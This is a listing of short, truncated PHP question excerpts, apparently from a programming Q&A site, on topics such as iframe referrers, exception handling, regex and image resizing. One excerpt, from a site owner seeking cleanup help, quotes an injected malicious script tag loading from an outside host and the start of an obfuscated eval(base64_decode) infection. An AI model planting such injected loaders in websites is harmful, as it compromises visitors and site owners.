php

Get IFrame parent url or referrer using javascript or php

I am creating a widget that would load in a IFrame and users will be able to place the widget on their own website. How would I get the URL of the website that is using the IFrame in javascript and/or PHP? The IFrame loads a php file. I have tried "parent.top.location.href" and "parent.document.referrer" in the IFrame page but that is u...

Flex Builder 4, ZendAMF and Data Services - Error?

I'm trying to set up my Flex Builder 4 dev environment, up to and including PHP and the ZendFramework on a WAMP stack on my hard drive. Everything goes swimmingly until I try to set up a data service. I point it to the php class file, it populates the various fields in the form so I know it understood it, and I press next. After a littl...

What does it mean when var_dump reports the wrong string length?

I'm trying to figure out why a variable isn't triggering a conditional that it should. var_dump reports something like this: string(20) "0" Why is it reporting a length of 20 when the length is clearly 1? ...

how to handle exceptions/errors in php?

when using 3rd part libraries they tend to throw exceptions to the browser and hence kill the script. eg. if im using doctrine and insert a duplicate record to the database it will throw an exception. i wonder, what is best practice for handling these exceptions. should i always do a try...catch? but doesn't that mean that i will hav...

Will MySql caching cause performance problems?

I am about to upload my website onto a VPS. It is a classifieds website, where all data is stored in MySql and Solr. I wonder if when using MySql:s cache, the server will slow down? Ie, if somebody makes a search for the first time, and MySql is to cache the query, will the caching make the server slower than if it would not cache any...

Get size of max possible result set

For my application most of my SQL queries return a specified number of rows. I'd also like to get the maximum possible number of results i.e. how many rows would be returned if I wasn't setting a LIMIT. Is there a more efficient way to do this (using just SQL?) than returning all the results, getting the size of the result set and then...

How can i remove an iframe virus from all of php files on my website?

I have a problem about removing a virus code from my php files. There is more then 1200 php file in my server and every single php file has been infected by an virus. Virus code adding this line to html output <script src="http://holasionweb.com/oo.php"&gt;&lt;/script&gt; This is the code of virus <?php /**/ eval(base64_decode("aWYo...

jQuery Plugin to update live a <li> from PHP

Hi, is there any jQuery plugin to create something like the live feed from the Twitter Main Page , using PHP, which is getting the data from a MySQL database? How has to be the PHP file? Thanks. ...

JavaScript to PHP

I am trying to send a variable from a Javascript to a php script but what gets sent is just the first string and the rest is discarded.Dont know what i would be doing wrong. Here is my code: <script type="text/javascript"> document.write(<li><a href=../../../../projects/sungrant/view/HistoricalCategory2.php?category=Historical Category ...

Split file with PHP and generate contents

How do I split the content below into separate files without the placeholder tags. I'd also like to take the text inside the placeholder tags and place them inside a new contents file. <div class='placeholder'>The First Chapter</div> This is some text. <div class='placeholder'>The Second Chapter</div> This is some more text. <div c...

php - regex - catch string inside multiple tags

Hi all guys! still on regex! ;-))) Assuming we have an html file with a lot of <tr> rows with same structure like this below, where (.*?) is the content i need to extract! <tr align=center><th width=5%><a OnClick="(.*?)"href=#>(.*?)</a><td width=5%>(.*?)<td width=5% align=center >(.*?)</td></tr> UPDATED maybe with a nice preg_matc...

Compare values for audit trail

I'm attempting to develop an audit trail/tracking solution for an existing database written in PLSQL/PHP - however I'm still unsure as of yet on an easy (to implement and maintain) solution for tracking changes to fields/values. For instance, the project tracking portion of the DB APP tracks over 200 fields and ideally I'd like a nice wa...

how can I get week's start date and end date from any given date

Using PHP how can I get week's start date and end date from any given date. For example 2010-05-13 is Thursday so how can I get 2010-05-09 (SUN) and 2010-05-15 (SAT) ...

Markup filter wanted for a public website

Developing a community site where everyone can post text, I'm looking for a markup filter: What is not part of the markup must be escaped (htmlspecialchars()) as it is. Should turn URL-s automatically into links Should support some form of basic markups (bold, image, url, pre, list) Should have a simple parser, that turns user input te...

how to write web services using cakephp

Is it possible to write web services in CakePHP? any sample tutorial? ...

codeigniter: Where to define members in a model?

Hello, I would like to know what is the best practice to define class members in a CodeIgniter model? Thank you. ...

All possibilities in 2d array

I have this array: $array = array ( array('1', '2', '3'), array('!', '@'), array('a', 'b', 'c', 'd'), ); And I want to know all character combination of sub arrays.. for example : 1!a 1!b 1!c 1!d 1@a 1@b 1@c 1@d 2!a 2!b 2!c 2!d 2@a 2@b ... Currently I am having this code : for($i = 0; $i < count($array[0]); $i++) { ...

php GD image resizing to smaller new image -> blurring problem

I am downscaling images from 200px wide to 190px wide, with this class here is what i get img 1 = original - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - img 2 = smaller I've tried a few different widths but i get the same loss of sharpness/blurring with all image sizes. I have quality set to 100 (max) ...

SimpleXMLElement empty object

Hi, I am trying to parse an xml file using XmlReader but although I am getting a return from the xml file for the (commission) node for some reason I am getting an empty SimpleXMLElement Object returned as well. I don't know if its something to do with while loop,switch or something I missed in the parse setup. This is the xml file I...

PHP - turning register globals off, what is the best way to go about fixing the code?

I am working on a old code base, where programmers assumed that register_globals will always be on. Hence variables are used without $_GET or $_POST prefix, pretty much in every page (the code base is huge, hundreds of scripts). I tried turning it off, but the very first script (login script) goes on an infinite loop. I understand tha...